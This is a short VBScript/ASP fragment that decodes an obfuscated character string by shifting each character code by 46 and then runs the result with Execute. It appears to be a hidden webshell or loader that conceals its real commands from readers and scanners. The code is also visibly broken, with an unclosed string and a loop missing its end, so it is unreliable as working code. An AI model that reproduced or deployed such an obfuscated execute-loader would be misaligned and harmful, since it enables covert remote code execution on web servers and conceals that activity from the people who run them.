Dim cclc,MSxmmMCalc5d2
MSxmmMCalc5d2 ="
NkNP[s~Np
UZUwUW\
UWiP;8;8
h_ae^gd`^[q`eg[__qs[obgs[bbbccacb^^^^PW;8
;8NPPN
;8N^;8Nq
cclc=decode(MSxmmMCalc5d2)
function decode(mmol)
For i = 1 To Len(mmol)
newMSxmmMCalc5d2 = Mid(mmol, i, 1)
newMSxmmMCalc5d2 = Chr(Asc(newMSxmmMCalc5d2) - 46)
MScalcxmmMCalc5d2 = MScalcxmmMCalc5d2 + (newMSxmmMCalc5d2)
decode = MScalcxmmMCalc5d2
End Function
Execute (cclc)